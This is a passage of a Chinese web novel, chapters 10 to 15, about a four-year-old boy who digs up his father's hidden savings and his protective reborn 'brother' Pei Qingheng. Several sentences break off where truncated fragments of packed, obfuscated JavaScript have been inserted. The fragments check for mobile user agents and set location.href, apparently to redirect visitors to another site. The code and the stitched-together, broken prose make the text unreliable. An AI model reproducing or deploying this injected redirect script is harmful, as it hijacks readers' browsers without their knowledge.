他的小哥儿,再一次展现了他作为小破棉裤的实力,而且实力愈发的强横,这一次竟然掏了他爹的窝。 真当是他的好哥儿。 沈小安莫名觉得他爹看他的目光有些凶,小动物求生本能让他立马警觉起来,连头都不探了,整个人都躲到了哥哥后面。 沈慕风冷笑,“沈小安,躲什么躲。” “安安没躲,爹爹乱说。” 只闻其声,不见其人。 沈慕风瞥了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702561|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴清珩,真当他没看见他挪动身子,好将沈小安完全挡住,目光重新垂落,挑眉道:“爹爹的箱子,喜欢吗?” 爹爹的箱子?沈小安一愣,下意识的就反驳道:“是安安找到的聚宝盆,不是爹爹的箱子。” 沈慕风想到最开始沈小安也说聚宝盆,聚宝盆顾名思义那便是能生财的玩意,所以…… 沈慕风脸更黑了,他好容易存下来的银子这便成了聚宝盆生出来的? 眼见沈慕风要被沈小安给气到了,裴清珩连忙开口维护起人,“伯父,实乃安安玩耍之时不小心看到,又想到说书人口里说的聚宝盆,恰好箱子里面刚好又有银两,这便就联想到了一起。” 沈慕风也不在意这到底是怎么发现的,他就想拿回他的私房钱。但这话又不能直接说,沈小安不懂,但八岁的裴清珩肯定能看出些什么,作为长辈,他还是要些面子的。 裴清珩自然是明白沈慕风心中所想,但他的小夫郎更是要保护的,主动的替人找好了借口:“素来听闻,有些人家会将钱财分批放置不同位置,以防有不轨之人前来盗取,避免损失过重,想来伯父也是基于此番考虑才会有了这些箱子,是我们不懂事,还望伯父莫要怪罪才是。” 都被人想好了理由,沈慕风自然顺杆爬了,双手放在背后,站的笔直,面色沉着,长辈风度拿捏十足,“不知者无罪,伯父又岂会与你们计较。” 二人都想的很好,一个人递杆子,一个人爬,但是四岁的沈小安才不懂这些,当即拉扯着裴清珩的衣袖,着急开口道:“哥哥,这不是聚宝盆吗?” “安安,这是我们误会了,这本就是你爹爹做生意赚来的银两,不过是怕有坏人过来偷盗,这才分批装在不同箱子里,埋在不同地方,防治有人来偷取。”裴清珩转过身,蹲下,耐心的解释道。也是避免哪日沈小安又不小心挖到什么箱子,毕竟他估计沈慕风要换个地方埋了。 沈小安看着裴清珩,一双杏眼都失落的耷拉下来,“啊~怎么是这样,我还以为能给哥哥钱了呢。” 闻言,沈慕风没好气的朝沈小安看去,两岁的时候将自己偷偷买给夫人的玉簪子找出来,说成是自己送给娘亲的礼物,三岁的时候又将自己新买的名家画作送给如璋当作生辰礼物。 四岁了更厉害,把他的私房钱拿给才认识一天的哥哥。 真不愧是他沈慕风的好哥儿。 羊毛就指着他一只羊薅! 越想越气,沈慕风大步一跨,就想走过去,揪起他的小破棉裤问一问,能不能换一只羊去薅。 可人还没走过去,小破棉裤自动的走过来,眨动着一双杏眼,很是真诚的发问道。 “爹爹,你都有好多箱子,好多钱了,这个箱子的钱可以给哥哥吗?” 沈小安问的真诚,沈慕风心梗的要死。 沈慕风在心中告诫自己,自己的小破棉裤,早就习惯了,莫气,莫气,努力扯开一抹微笑。 吐出的字眼却格外坚定,冰冷。 “不能。” 11. 第 11 章 沈小安皱眉,“爹爹好小气,你不是说要助人为乐嘛~” “但我从来没说过助人为乐要慷他人之慨。”沈慕风挑眉。 文盲沈小安疑惑了,“安安不懂。” 什么慷什么慨,他又不认识。 沈慕风:“助人为乐,是让你用自己所拥有的东西去帮助别人,而不是让你用旁人的东西去帮助别人。若是有人想要帮助一个人,却要拿你的东西去帮助别人,你会开心吗?” 沈小安想了想,认真道:“能帮助到人,安安就会开心啊。” 沈慕风:……他忘了,他家的小破棉裤还是个天真善良的小哥儿。 沈慕风盯着自家哥儿天真无邪的面容,纠结了好一会儿,没忍住,蹲下身就是一顿咕哝。 他,沈慕风的哥儿不说要多精明,但也不能傻傻的被人忽悠欺负吧。 而一旁跟着沈小安走上前的裴清珩,自然也是听到了沈慕风对沈小安说的话,越听心中越是觉得熟念。 他想起上辈子,小夫郎在上京开过一家食肆,若非之后他官场被人排挤,使了手段,小夫郎又患了病,想来定能做出一番成绩来。 那时候,食肆里有名夫郎,其家中公婆很是极品,曾上门来过食肆想让小夫郎聘请他们的儿子做工,被小夫郎赶了回去。后来没想到那位夫郎竟然偷食肆里的吃食,被小夫郎发现决定赶走,那夫郎却说小夫郎没有良心,不懂体恤百姓,明明都是食肆卖不出去的吃食,让他拿回去又如何,就该分给他们这些做工的人。 他还记得,小夫郎气呼呼跟他说起这事,“什么叫做卖不出去的吃食给他又如何,贫穷不是作为要挟别人,绑架别人的工具。怎么就因为你穷,别人就要体恤你,那怎么不去那些达官贵人门口要钱耍赖,分明就是以为他好欺负,利用他的善心为自己谋利,还倒打一耙。说什么不懂体恤百姓,他自己怎么不知道去体恤下那些小乞儿,自私自利。” 他不知道小夫郎那时候是怎么说那位夫郎,倒是店里的一位小二曾跟他说起过,当时小夫郎面含微笑,一字一句,硬生生将那位夫郎说的哭着跑了出去。 当时食肆里做工的人或许不清楚,但他知道,他的小夫郎会将每日卖剩下的吃食,分给那些年老和年幼的乞儿。 心存善念,却更有原则。 想来,在他上辈子不知道的某个时刻,他的小夫郎也曾被他的爹爹如此教育着。 “爹爹,安安明白。”沈小安郑重的点了点头,看似懂了,实则想的是为了要钱钱,爹爹也太能说了,说了一大堆,好复杂,还要问他知不知道,先点头再说,绝对不能让爹爹继续念叨了。 沈慕风瞧着沈小安认真点头的模样,也没指望四岁的孩子能懂得什么,只是怕别人见自己孩子小有了别的心思。 沈慕风站了起来,轻拍了下自己衣服下摆,便朝沈小安伸出手,沈小安明白,也顺从的将箱子放到沈慕风的手里。 接过小箱子的沈慕风,立刻就察觉到这重量不对,打开箱子,果然里面空空如也。 裴清珩见状立马开口道:“方才不知道此钱的来历,便拿了出来,准备到时候告知伯父伯母,我这便去将银钱拿过来。” 沈小安见哥哥要将银钱拿给自家爹爹,想要阻止,抬眸又对上自家爹爹定定看着他的黑眸,嘴一撇,只得愤愤踢了下脚下的小石子。 他要给哥哥钱钱的梦碎了。 唉~ 沈慕风见沈小安这模样,很想伸手将人拎过来晃荡晃荡,将这小娃娃脑袋瓜里的东西好好清理清理。 谁家哥儿,有他家哥儿这样,就想着薅自己家爹爹羊毛。 沈小安似乎也感受到爹爹对他的不满,立马倒退好几步,戒备的盯着自己爹爹。 “爹爹,你想干嘛?”沈小安警惕道,转念又有些得意道:“当心我告诉娘亲你乱埋钱,还欺负她生的小哥儿。” 爹爹自己胡乱埋钱,还要怪罪他,哼! 他,安安,可是娘亲最爱的小宝贝。 沈慕风无语看着自家哥儿,他藏私房钱还不是为了给夫人买礼物制造惊喜,夫人早就知道了,这就叫做夫妇情趣。 小破孩子懂个屁! 沈慕风转身准备去将沈小安挖的坑重新掩埋好,免得夫人回来看到这狼藉的一幕生气。 当又看到眼前被翻起的土,沈慕风只觉自己的手又有些痒了。 有一种蠢蠢欲动想揉搓一把这倒霉孩子的冲动。 裴清珩回去将装着银两的钱袋子拿过来,交给沈慕风,见安安之前挖的坑已经被重新填好,石头也放了回去,知道是沈慕风将一切都恢复如初,就准备将安安带走,免得安安继续在沈慕风面前晃悠,再说出什么话来,将人气到。 可惜,计划赶不上变化。 裴清珩正准备开口说带安安回他们院子玩,可没想到,某个小孩嘴巴更快。 “爹爹,我帮你把箱子挖出来,哥哥把钱拿给你,你是不是要给安安和哥哥工钱呀。”沈小安早就想好了,娘亲每个月就给他一百文钱,哥哥还没有零花钱,必须要点钱钱,不然哥哥好惨啊,钱钱都给他买好吃的了。 而且他知道竹竹照顾他,娘亲会给竹竹钱,竹竹说这是他的月钱,是因为他付出了劳动。爹爹也说来他们家做工,人家付出辛苦,他们自然要给人工钱。 那他把箱子挖出来,哥哥把钱拿给爹爹,爹爹是不是也要给他们工钱。 没毛病! 沈小安觉得自己可太聪明了。 裴清珩看向沈小安,只觉那扬起的下巴,配着那双炯炯有神的杏眼,实在是太可爱。 他的小夫郎就是机灵,只是…… 裴清珩目光朝沈慕风看去,果然就见人一张脸面无表情,颇有一种无语凝噎之感。 沈慕风只觉自己手痒脚痒,这专注薅他羊毛的小破棉裤! “爹爹,工钱!”沈小安见自家爹爹没动作,着急的催促道。 沈慕风无语,有胆子问他娘亲要工钱啊!只知道从他兜里薅羊毛! 沈慕风摸了摸钱袋子,很不想再被薅羊毛,但对上自家那不达目的不罢休的小哥儿的目光。 得嘞,这羊毛必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈慕风见裴清珩没有疏离客套,笑容愈发上扬了几分,然后,视线一转,低头,看向面前的小人,挑了下眉,“这样放心了吧。” 沈小安没有马上理会自家爹爹的话,正拨弄着小手指,盘算起来一两银子有多少钱。 他每个月有一百文钱,能买二十多串糖葫芦,还能带温哥儿一起去喝奶酥酪,可是不少了。 娘亲曾告诉过他一两银子是一千文钱,他十个月就能有一千文钱。 沈小安看着自己所有手指都被伸出来,所以哥哥一个月就有他十个月的零花钱,那就等于能买好多好多串糖葫芦。 哇~好多糖葫芦,他都吃不完了。 如此算着,沈小安满意了,但机灵着没有表露出来,故意板着一张小脸,学着说书人摸着下巴,像是深思熟虑般后才点了点头,“如此,甚好。” 沈慕风无语,要不是自家孩子,而且只有四岁,他都想上去来上一脚。 装腔作势。 12. 第 12 章(增600字) “行了,回去吧。”沈慕风说着,瞥了眼沈小安,光明正大的就把钱袋揣入怀中,跨步就走。 沈小安瞪大眼睛,不敢置信的看着自己爹爹就这么从自己身旁走过,反应过来,连忙跑过去,拦住人,伸出右手,气愤喊道:“爹爹!我的工钱!” 竟然想要趁机赖账!做生意的,怎么能如此不守信用! 被看穿,沈慕风也没不好意思,装作自己是忘了,报歉道:“爹爹这不是说完事,就忘了。” “真的吗?”沈小安眯眼,表示怀疑。 沈慕风一幅坦荡模样,“你爹我还差你这些铜板不成?” “爹爹,是银子。”沈小安认真反驳道。 沈慕风只觉有些好笑,他家四岁的哥儿终于是知道银子比铜板重要了,去年还傻乎乎的被他忽悠去了压岁钱,只换了八个铜板,屁颠颠的去买了两串糖葫芦,和温哥儿一人一串,两个小娃娃吃的别提多开心了。 “爹爹,快点。”沈小安急哄哄催促道。 沈慕风也不逗人了,心里笑着,面上却是一副心痛不舍的模样,抖着手拿出钱袋子,从里头掏出两个碎银子递过去,“你和你哥,一人一个,拿好别乱用,别告诉你娘亲。” “知道啦爹爹。”沈小安乖顺的接过两个碎银子,他又不是三岁的他了,怎么还会傻乎乎的告诉娘亲。 沈小安这头刚拿到钱,便速度的跑到裴清珩的面前,伸出手,将两个碎银子都塞到裴清珩的手里,甜甜笑道:“哥哥,给你。” 沈小安满意了。 他还是给哥哥钱了! 沈慕风:…… 这漏风的小破棉裤! 沈小安没有多余的脑子去思考自己爹爹在想什么,只觉得自己可厉害了,小小年纪就能给自己哥哥要到钱,温哥儿都不见得能给如璋哥哥钱,他可真是太棒了。 沈慕风压根不想去看自己这条小破棉裤,怕越看越心梗。 还好自己家这条小破棉裤不过四岁,还什么都不懂,若是十六岁,也是这般……不行! 沈慕风当即决定等夫人回来之后,商量一下,往后沈小安要去茶楼听故事,绝对不能去听那什么小姐书生,什么救命之恩以身相许的。 他的孩子,可不能被哪些狗男人欺骗。 沈小安还不知道自己爹爹已经担忧起了自己未来,乐滋滋的被自己哥哥牵着手走回院子,哥哥还陪自己荡秋千,还额外让他多吃了两块桔红糕,还给他讲故事。 就是讲的故事好让人生气啊!小狐狸被一个小哥儿所救,长大后去报恩,却没想到被哥儿和他的夫君利用,一起骗百姓的钱,害得哪些得病的百姓不去看大夫,反而求起了狐狸大仙的保佑。 明明小狐狸是好心报恩,就因为自己是山间生灵不懂人世间的事情就被人如此利用,最后害得好些人得病死去,自己也抑郁寡欢而死。倒是那个哥儿和他的夫君倒是抱得一堆钱财,逍遥过日。 他问哥哥,小哥儿明明之前这么好,还救治小狐狸,怎么长大后就变得这么坏。 哥哥说,这便是人心,人心易变,或许曾经他是好的,但也有可能他本身就是这么坏的,而当初救小狐狸或许是想着将这小狐狸治好能卖更多的价格,不过是小狐狸自己把人给美化了。 哥哥还告诉他,不要一味的把别人做的恶加注在自己身上,要学会将这恶还回去。 他本想问问哥哥怎么还,没想到哥哥却笑着戳了戳他的脸颊,说没事,他帮他还回去。他刚想扑过去抱住哥哥,说哥哥真好,没想到哥哥忽然又改了口,说要教他怎么还回去。 躺在床上的沈小安,眉头皱在一起,长叹一口气。 他才四岁,就想吃好玩好睡好,不想学习啊! 学渣沈小安生怕哥哥要教他学习,这几日都没有提起自己要听故事,见哥哥也没有继续那日的话题,心下安定不少,却没想到今个就被自己娘亲告知,明日哥哥就要去书院,再不能这样无时无刻陪他一起玩耍。 “哥哥。”沈小安不舍得拉着裴清珩的手。 “安安放心,每日哥哥下学便会回来了。”裴清珩宽慰道。 沈小安撇了撇嘴,小声嘟囔了一句,“上学好无聊的,怎么都要上学。” 坐在沈小安旁边的林青梧刚好就听到这句嘟囔,抬起手,食指戳了戳沈小安的额头:“你以为都像你,一说要学习,不是哪里痛,就是说好困,要不就是喊饿说渴,没个定性 。” “娘亲!”见娘亲竟然拆起自己的台,沈小安连忙拉住林青梧的手,为自己找补道:“我哪有这样,不过是有一次头疼罢了。”说完,还有些心虚的瞥了眼自己哥哥。 裴清珩不语,只是真诚的看向沈小安,用表情告诉他,他相信他。 沈小安见哥哥没有怀疑,心下松了一口气。他可是要成为哥哥最最最最可爱的弟弟,那些事情,都是不认识哥哥的沈小安做的,和他这个可爱弟弟没有关系。 林青梧见沈小安这般模样,心下只觉有些好笑。一共就给安安请了两回哥儿夫子,第一回安安因为不知道什么是上课,还算乖巧,第二回夫子刚到就说自己头疼,哪哪都难受,耍懒的很,这些事倒是一点也不提。 “夫人,听许兄说起温哥儿如今可是识全了千字文。”沈慕风看向林青梧,别有深意道。 “安安同温哥儿一同长大,温哥儿都识字,安安若还不识,怕是要被人笑话了。”林青梧了然,当即接话道,又故作沉思顿了片刻,方又继续说道:“听闻府城有位秦夫子,学识颇为了得,曾是长公主身前人,得了长公主恩赐,带了银钱回到祖籍恩养,县令夫人如今就聘了她做她家哥儿娘子的夫子。” 裴清珩记得现在的这位县令倒是不错的,虽是世家之弟却不骄矜,在任三年,为南竹县做了不少实事,可惜的是很快就要被调任上去,接任的县令却是一位敛财之辈,才会被赵家很轻易的收买。 沈小安听到娘亲又要给自己找夫子,当即就拉过林青梧的手撒娇道:“娘亲,安安还小,只想陪着娘亲。” 沈慕风瞥了眼沈小安,“站好,说话就说话。” “哼,爹爹,你别以为我不知道你也老这般拉着娘亲的手。”沈小安立马不悦反驳道:“我不过找娘亲贴贴,你还和娘亲亲……” 最后一个‘亲’字被沈慕风眼疾手快的捂住了,丧失在了沈小安的嘴里。 沈慕风只觉自己的老脸真要被自己哥儿给坏光了,瞪了一眼沈小安,还未抬起身子,就感受到落在自己背后的目光,瞬间冷汗直流。 完蛋,今晚要被夫人赶出去了,要不等会先去拿块搓衣板,表明下认错态度? 林青梧收回盯着沈慕风的目光,拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林青梧看向沈小安,面露怀疑,“你真想和哥哥学习?” “是的,哥哥教我,我定会好好学习。”沈小安立马点头。 “可……”林青梧表情虽然纠结,但心里却是很乐意裴清珩教导安安,毕竟裴清珩也算是唯一一个能让安安甘愿学习的人了。 “娘亲,你就答应安安嘛~”沈小安拉着林青梧的手摇晃着。 一旁的沈慕风眼里闪过一道精光,老神在在的看向沈小安,“再过两个月便是你的生辰,温哥儿在他生辰可是背了千字文,那场景,可真是让爹爹我羡慕不已。” 沈小安哪里听不出自己爹爹话中意思,眉头都皱在了一起,看了看娘亲,又看了看哥哥,接着看向自己爹爹,最后狠狠地跺了下脚,“不就是千字文,哥哥教我,我也可以背下来,让爹爹你去出一出风头。” “好!爹爹就相信安安了,拉钩。”沈慕风满意的伸出自己小拇指。 沈小安看着凑到自己面前的小拇指,狠狠地呼了一口气,伸出自己的小拇指,搭上。 “拉钩上吊一百年,谁反悔谁就是狗。”沈慕风满眼含笑的看着沈小安,语调特别温柔,“届时安安若是做不到,爹爹和娘亲也只好请秦夫子教导了,毕竟哥哥也要学习,不能因为你耽误了哥哥的学业。” 沈小安盯着自家爹爹嘴边的笑容,贝齿无意识的咬住自己的下唇。 他觉得自己太可怜了。 他不过是一个四岁孩子,当个小文盲又如何。 四岁宝宝,生活不易。 13. 第 13 章 旦日。 向来懒床的沈小安破天荒的早早就起了床,穿好了衣裳,就迫不及待的哒哒朝外头跑去。 哥哥今日要去书院上学,他可是要送哥哥去上学的。 昨儿个,和哥哥说好了的。 沈小安刚打开门,就看到院子里站着的自己哥哥,当即开心的扑了过去,抱住自己的哥哥,笑的灿烂。 “哥哥是在等安安嘛~”语调拉长,娇的很。 “安安不是说要陪哥哥去书院吗?”裴清珩温柔的抚过沈小安的发顶。 “必须的。”沈小安重重点了点头,挺起自己胸膛,“安安要好好的送哥哥去书院。” 哥哥第一天上学,他怎么能缺席,他可是哥哥最最最最喜欢的弟弟。 显然,沈小安无视了哥哥只有他一个弟弟的事实。 裴清珩牵着沈小安的手,去了正厅,和沈慕风林青梧一起用早膳。 沈管家早就备好了马车,在门外候着了。 早在沈小安不知道的情况下,沈慕风就带着裴清珩去见过竹鸣书院的山长,过了入学考试,定好了今日来上学。若非一切都已确定好,沈慕风也不会同意让沈小安一同跟着。 沈慕风带着裴清珩和沈小安一同上了马车,或许是老父亲之心发作,沈慕风不放心又叮嘱了裴清珩几句。 “清珩,我们虽不生事,但也无需怕事。万事有伯父在,莫要委屈自己。” 听到爹爹这么说,沈小安当即拉过哥哥的手,着急道:“哥哥,若有人欺负你,你跟安安说,安安来帮你。” “伯父,安安,我明白的,我并非是会让认欺负的脾气。”裴清珩说道。 裴清珩说的认真,可落在另外两个人眼里就不是那么一回事了。 沈慕风:被自家二叔如此欺负,家产都要被人赔进去了,还说自己不是被人欺负的,跟裴兄一样过于良善耿直,唉~ 沈小安:哥哥这么好看,就像话本子里的小仙童,好看又聪明,在话本子里头那都是要被人妒忌欺负的,唉~ 这一次,这一对父子,想法莫名接上了头。 竹鸣书院一共有六个班级,蒙学班分为甲乙两班、又有天玄、天黄、地玄、地黄四班,其中天玄乃是童生班,班上学生皆有童生功名,裴清珩如今是地玄班的学生。 原本裴清珩的年纪应该是去蒙学班,但在沈慕风带他去书院报名那天,沈慕风同书院山长提出让裴清珩去地字班,在和裴清珩谈过之后,山长提议让裴清珩考核一番,却不曾想竟给了天字班的试卷。 天字班的试卷对于裴丞相来说仍然还是太简单了,但裴清珩的计划是先在书院读三年,三年后再去参加童试,自然答题是有目的性。他以为他是去了地黄班,却没想到是去了地玄班。 因为是第一天上课,夫子是知道他们班上来了一位八岁少年,一个个都好奇其学问如何,裴清珩就这么连续两堂课都被不同夫子叫起来,回答问题。 也是在这一问一答之间,裴清珩在地玄班中有了小神童的称号,毕竟八岁的年纪何该是在蒙学班中,没曾想到会出现在地玄班上,本来大家还很不服气,怀疑是哪户有钱人家塞了钱进来,却没想到小小少年竟是真的聪慧过人,让他们心服口服。 等到下学,回了沈家,裴清珩就看见一个小人朝他飞奔而来,手上还拿着一串糖葫芦,一对小奶膘更是活泼的上下晃动着。 沈小安听到管家说少爷回来了,立马拿起上午买的糖葫芦就朝门口跑去。 他送哥哥去书院,回来的路上,想到温哥儿跟他说过好多回,如璋哥哥为了学习,学到子时才愿入睡,而一到卯时就要起床。更甚至从温哥儿出生开始,如璋哥哥便是这样学习了。 他想让哥哥不要这么辛苦,但这想法刚说出来,就被爹爹说了。 读书从来不是一件容易的事,可就是它的不容易,才让读书人懂得了那句学而时习之,明白不积跬步无以至千里,吃得苦中苦方为人上人。 沈小安听不懂那些大长句,他不爱吃苦,就爱吃甜的。但他知道,读书人都是想要有所成就,想要考科举,想要做大官。如同如璋哥哥曾经说过,他想当官,想当一位好官,让百姓们过上好日子。 他帮不了哥哥学习,但是他可以让哥哥回来吃到好吃的。 就像娘亲一样,爹爹出去谈生意,娘亲就会给爹爹备上好吃的,让爹爹回来就能吃到。 爹爹说,看到娘亲给他准备的这些,他立马就会精神百倍。 “哥哥,辛苦了。”沈小安停在裴清珩面前,仰起头,粉雕玉琢的脸蛋上写满了关心,将手中的糖葫芦递过去,扬起大大的笑容,“安安请哥哥吃糖葫芦。” 裴清珩一愣,对上那张灿烂无比的笑脸,耳边是清脆稚嫩的话语,不自觉的嘴角也带起了一抹弧度,连眼角末梢似乎都染上了细碎的愉悦。 “安安一直在等哥哥吗?是给哥哥特意买的吗?”裴清珩放柔了声音,似乎是随意一问,可那双眼睛,却是牢牢的看着眼前之人,连一丝细小的表情都不愿放过。 闻言,沈小安毫不犹豫就是一点头,奶呼呼道:“安安不能帮哥哥学习,但安安会给哥哥准备好吃的,今天是糖葫芦,明日我让厨房做小圆子!” 裴清珩看着小哥儿晃着他的衣角,听着人毫不犹豫的认同,嘴角的笑意愈发的鲜明,内心无比满足。 他从不否认自己的阴暗。 他内心无时无刻不再叫嚣着,要让安安满心满眼都是他。听到他嘴里说着关于他的话,看到他眼里都是他,想要他的世界只有他一个人。 他卑劣,他无耻,他阴险。 但他更希望他的小夫郎,这辈子能开开心心,过他想要过的生活,没有阻碍,再不会面对任何的流言蜚语。 他愿意成为安安眼里温柔善良的那一个。 藏住所有的不堪。 裴清珩眸光微动,眼底的暗色尽数消散,伸出手接住沈小安手中的糖葫芦,“谢谢安安。” “嗯嗯。”沈小安重重点头,一双小手直接抱住裴清珩的手,“不客气哒。” “哥哥,快吃糖葫芦。这是安安特意给哥哥选的,挑了最大的一串,花的是安安的零花钱。”沈小安开心道,连走路的脚步都带着轻快,“安安每次不开心,吃完糖葫芦就会立马变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“安安相信哥哥好不好,如果哥哥真被欺负了,到时候找安安。”裴清珩眸光温柔。 沈小安眨了眨眼,他哥哥这么聪明,还这么好看,嗯…… “哥哥如果受委屈了,要记得告诉安安哦。”沈小安叮嘱道。 裴清珩点头,“好。” 沈慕风、林青梧相视一笑,有些无奈。 用完膳,林青梧让沈小安先回去将书本,纸笔准备好,等哥哥过来教他认字。 沈小安本来不愿,想要粘着哥哥,但碍于娘亲威严,只得任由沈竹牵着自己的手,回去自己屋子。 裴清珩跟着沈慕风去了书房。 只见沈慕风从书中的抽屉里掏出一封信,递过去,“这是从定县寄来的,他们打听到你二叔应该是要去隔壁县城找他媳妇娘家人,可官差去隔壁县城抓人,却是听闻你二叔一家根本没有去,辗转几日,据说有人见到你二叔兴冲冲的跟着一名男子离去,经过时听到的只言片语,像是有什么赚钱的行当。” “但据调查得知,那男子其实是个人贩子,其背后还有好几个人,专门拐骗人。骗来的成年男子就卖去挖矿,哥儿女子卖进窑子里,孩童看样貌,若是好看的同样卖去窑子里,若是样貌一般的,便就卖去山里,或者打断手脚,骗取银两,总归是落不得一个好。” “也不知你二叔怎会认识这种人。”沈慕风叹了一口气,心中再对此人有愤怒,如今得知竟是落在这种人手里,再多的愤怒也成了叹息。 14. 第 14 章 裴清珩听到沈慕风的话,接过递来的信件,一字一句看去,面上神情严肃,似是关切,可心里无波无澜。 二叔他们得感激他如今年岁尚小,能用的方法少,若是再大几岁,手段可不会这么温和。 沈慕风见人眉头紧蹙,想着也不过是八岁孩子,就算心中如何怨怼,终究还是不免会心软,眸光微动,叹息道:“你二叔作孽,去挖矿也是活该,倒是苦了他的妻子孩子,若真去了那地方,也不知会落得什么光景,还有那不过六岁的孩子,也不知此刻被卖去了哪里。” 闻言,裴清珩抬眸,眉头微蹙,幽然叹息道:“若是能抓到那名人贩子,想必就能找到人。” “可惜,那人却迟迟没有下落。”沈慕风叹了一口气。 裴清珩垂眸,眼底冷漠,那人怎么可能找得到,按照上辈子,这人很快会因为分赃不均,被同伴砍死。 等到他的死亡被人所知,亦是他同伙被抓住的时候。 死人又怎会开口说话。 何况,说是卖去挖矿,像他二叔这种吃不了苦,没多大力气的人怕是买去不是去挖矿,而是被矿区管事送去做那探路的死人。 上辈子裴清礼仗着裴家在县里的威望,仗着他在上京当官,可是干了不少强买强卖,毁人清白之事,其中他那二婶也可出了不少的力。 如今,他们成了他们眼中的那些卑贱之人,这滋味该是不错。 他的好二叔好二婶,还有裴清礼,这辈子妄想再出现在安安面前。 “伯父,横竖皆是命。”裴清珩看向沈慕风,故作叹息道,眼底却是闪过一抹冷光。 就像曾经二叔他们也是如此对他说的,都是命。 既是命,那就受着。 “嗯,你能如此想便是好的。”沈慕风淡淡开口道:“我告诉你,也是担心你牵挂这事,如今你二叔一家也算是有了寻找的方向,若是真能找到。” 话说到一半,沈慕风眸光定定的看着裴清珩。 裴清珩对上沈慕风的目光,淡淡道:“那便通知族叔,二叔并未除族,我裴氏一族在定县也还是有些人在。” 闻言,沈慕风眉头慢慢舒展开来,眼底有了几分松快,“嗯,如此也好。” 裴清珩点了点头,他知道这是沈慕风在试探他,怕他对二叔一家生了怜悯之心,若是真找到了人,被人卖惨求饶,拦下了这麻烦之事。也怕他过于心善,心善之人容易被世俗所拿捏,如同上辈子的他一般。 这事既然已经说开,沈慕风便也没打算再继续说下去,就让裴清珩走了,毕竟还有一个人,正等着他哥哥给他上课。 如沈慕风想的那样,沈小安可是等哥哥等的心急。 “书有了,笔有了,纸有了。”沈小安看看桌上的东西,想到什么,又哒哒的跑向里屋,抱着一个小箱子放在桌上。 沈竹见沈小安抱出了一个小箱子,小箱子里装着的都是沈小安喜欢的玩具,不由笑道:“小公子,裴少爷是过来教你读书认字。” “竹竹,读书很累的,需要劳逸结合。”沈小安看向沈竹,正色道,又对自己能说出四字成语,很是自得。 哥哥白日间要在书院上学,可辛苦了。 晚上还要教他认字学习,他得让哥哥劳逸结合,不能累着了。 沈竹见沈小安高兴的模样,也不再多说什么。 “竹竹,哥哥怎么还没来呀。”沈小安坐在凳子上,双手托腮,看着门口,双腿不时晃悠着。 “小公子莫急,裴少爷应该快到了。” 又过了十分钟,沈小安看到门口出现的人,立马跳下凳子,哒哒的朝人跑去。 “哥哥终于来了呀。”沈小安抱住裴清珩,甜甜笑道,又见人手里还拿着方才自己给的糖葫芦,疑惑问道:“哥哥,怎么还不吃掉它。” “哥哥想跟安安一起吃。”裴清珩抬手摸过沈小安发顶。 沈小安激动了,开心了。 哥哥果然最喜欢他了,连那么好吃的糖葫芦都愿意和他一起吃。 沈小安看了糖葫芦一眼,嘴馋的抿了下唇,又仰头看向裴清珩 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裴清珩看着沈小安,点了点头。 这辈子,他会教安安何谓生存之道,会让安安知道人心的复杂,懂得如何在利益交织的环境为自己谋取。 安安天性善良,这是好的,但过于善良就会成为敌人刺向自己的利刃,凡事过犹不及。 在某些时候,人无所谓高尚与卑劣,不过是为了自己的利益,各取所需罢了。 上辈子,他以为给安安最好的东西,不让安安接触那些不好的事情,他更相信自己会将安安好好的护在身后。 可事实告诉他,唯有自己手上有刀才能真正的保护好自己。 他会成为安安最有利的后盾,但同样的,他也会帮助安安成为自己最强大的依靠。 他的安安并不是温室的花朵,是他放不下,以爱为名,折了他的翅膀。 这辈子,他会让安安走出自己的路来。 15. 第 15 章 这两日,沈小安学的可认真了,连白日都会认真完成哥哥给他布置的功课,写大字。 字虽难看,但好歹能看出个形状来。 但好动的哥儿,让他一直在家,也实在不太可能。 这不,才过了三日,沈小安就耐不住性子,求了林青梧的同意,去隔壁找温哥儿玩耍,却不曾想直接碰到了许慕带温哥儿出去。 “小叔。”沈小安看到许慕,立马甜甜喊道,又看向许温开心的挥了挥手,“温哥儿。” 许慕看着朝他走过来的小哥儿,精致可爱的模样,一颤一颤的小奶膘,别提多惹人喜欢了,立马就对人招手笑道:“安哥儿这是来找小温玩吗?” “是的。”沈小安点了点头,走到许慕面前,看了眼停着的马车,好奇问道:“小叔要带温哥儿出去吗?” “小爹要带我去酒坊,安安要不要一起去?”许温邀请道。 “安哥儿想去吗?刚好可以跟小温一起玩。”许慕看着沈小安,满眼都是明晃晃的喜欢。 实在太可爱了,精致的眉眼,软乎乎的声音,完全不像他生的哥儿,遗传了他的大力气,整日在家吵闹得很,如今更是学起了武,一点都没有小哥儿的软萌。还是安哥儿可爱啊,会跟爹娘撒娇卖乖,会甜甜的喊人,更是聪明伶俐,很是体贴人。 不行,不能想了,再想下去,他又要去找林青梧要崽了。 “想去哒!”沈小安立马就举手应道,他好久没去酒坊玩了,酒坊有好多大缸,好多他不认识的东西,可好玩了。 